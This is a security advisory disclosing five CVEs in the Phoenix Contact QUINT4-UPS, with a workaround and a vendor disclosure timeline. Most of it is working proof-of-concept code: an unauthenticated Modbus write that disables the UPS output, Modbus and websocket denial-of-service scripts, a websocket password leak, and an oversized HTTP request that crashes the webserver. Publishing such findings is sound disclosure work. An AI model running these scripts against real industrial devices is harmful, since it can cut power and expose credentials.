Multiple Vulnerabilities in Phoenix Contact USV QUINT4-UPS

Proof of Concept

1) Manipulation via Modbus (CVE-2025-41703)

The Modbus configuration interface does not require authentication and provides a way to disable the output of the USV. This is done by setting the 11th bit of the Code Set Parameters Register (Address 0x1040) to 1.

#!/usr/bin/env python3
# <D.Blagojevic>
import sys
from pymodbus import pymodbus_apply_logging_config
from pymodbus.client import ModbusTcpClient
REG: int = 0x1040 # Code Set Parameters Register
DISABLE_OUTPUT: int = 11
def get_masks(bit: int) -> dict[str, int]:
mask = (1 << bit) & 0xFFFF
return {"or_mask": mask, "and_mask": ~mask & 0xFFFF}
def run(ip: str, port: int) -> None:
pymodbus_apply_logging_config("DEBUG")
client = ModbusTcpClient(host=ip, port=port)
client.connect()
client.mask_write_register(address=REG, **get_masks(DISABLE_OUTPUT))
client.close()
def main() -> None:
if 3 < len(sys.argv) or len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} ip [port]", file=sys.stderr)
sys.exit(1)
ip: str = sys.argv[1]
port: int = 502
if len(sys.argv) == 3:
port = int(sys.argv[2])
run(ip, port)
if __name__ == "__main__":
main()

2) Denial of Service of Modbus (CVE-2025-41704)

The Modbus service is vulnerable to a DoS. The PoC sends a Modbus request with the Function Code 0x08 (Diagnostic) with the Sub-function 0x0000 (Return Query Data). After receiving the request the Modbus service doesn’t process or respond to any further request.

#!/usr/bin/env python3 
# <F.Koroknai> 
from pymodbus.client import ModbusTcpClient 
MODBUS_SERVER_IP = "192.168.19.23" 
MODBUS_PORT = 502 
client = ModbusTcpClient(MODBUS_SERVER_IP, port=MODBUS_PORT) 
if client.connect(): 
response = client.diag_query_data(b"Test") 
if response.isError(): 
print(f"Write failed: {response}") 
else: 
print(f"No Error: {response}") 
client.close() 
else: 
print("Could not connect to Modbus server")

3) Password Information Leak (CVE-2025-41705)

The following python poc can be used to leak the password and additional info from the websocket.

#!/bin/env python3
# S. Dietz <fitfrost4>
from websocket import create_connection
import json
import sys
#pip3 install websocket-client
if len(sys.argv) < 2:
print("usage: ./{} IP".format(sys.argv[0]))
sys.exit(1)
router = sys.argv[1]
headers = {
'User-Agent': 'curl/8.5.0',
'Accept': '*/*',
'Upgrade': 'websocket',
'Sec-WebSocket-Protocol': 'quint'
}
ws = create_connection("ws://{}/ws/quint".format(router), header=headers)
ws.recv()
buf = ws.recv()
js = json.loads(buf)
print(json.dumps(js, indent=2))
ws.close()

4) Webserver Denial of Service (CVE-2025-41706)

The following GET Request can be used to crash the webserver.

GET / HTTP/1.1
Host: 192.168.19.23
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 9005
AAAAAAAAAAAAAAAAAAAA[...]AAAAAAAAAAAA

5) Denial of Service via Websocket (CVE-2025-41707)

The following python script can be used to trigger the denial of service condition of the device.

#!/bin/env python3
# S. Dietz <fitfrost4>
from websocket import create_connection
import json
import sys
if len(sys.argv) < 2:
print("usage: ./{} IP".format(sys.argv[0]))
sys.exit(1)
target = sys.argv[1]
payload_dict = {
"topic": "pingpong",
"data": [{"key": "A" * 133337, "val": "admin"}],
"mid": 1
}
payload = json.dumps(payload_dict)
headers = {
'User-Agent': 'curl/8.5.0',
'Accept': '*/*',
'Upgrade': 'websocket',
'Sec-WebSocket-Protocol': 'quint'
}
ws = create_connection("ws://{}/ws/quint".format(target), header=headers)
ws.send(payload)
ws.close()

Solution

None.

Workaround

Restrict network access to the device.

Vendor mitigation:
“Affected devices are designed and developed for the use in closed industrial networks. Phoenix Contact therefore strongly recommends using the devices exclusively in closed networks and protected by a suitable firewall.”

Recommendation

Upgrade to a newer hardware.

Contact Timeline

• 2025-07-17: Sent advisory to Phoenix Contact PSIRT.
• 2025-07-29: Vendor asked for a call to clarify the vulnerabilities.
• 2025-07-31: Aligned on timeline for September during call.
• 2025-08-19: Vendor confirmed publications for 2025-10-14. Confirmed the shift.
• 2025-09-25: Asked the vendor for another call to clarify details regarding all affected devices (including other advisories).
• 2025-09-26: Talked to vendor to clarify details.
• 2025-10-09: Asked for CVE Numbers. Received and included them in the advisory.
• 2025-10-14: Coordinated publication of security advisory.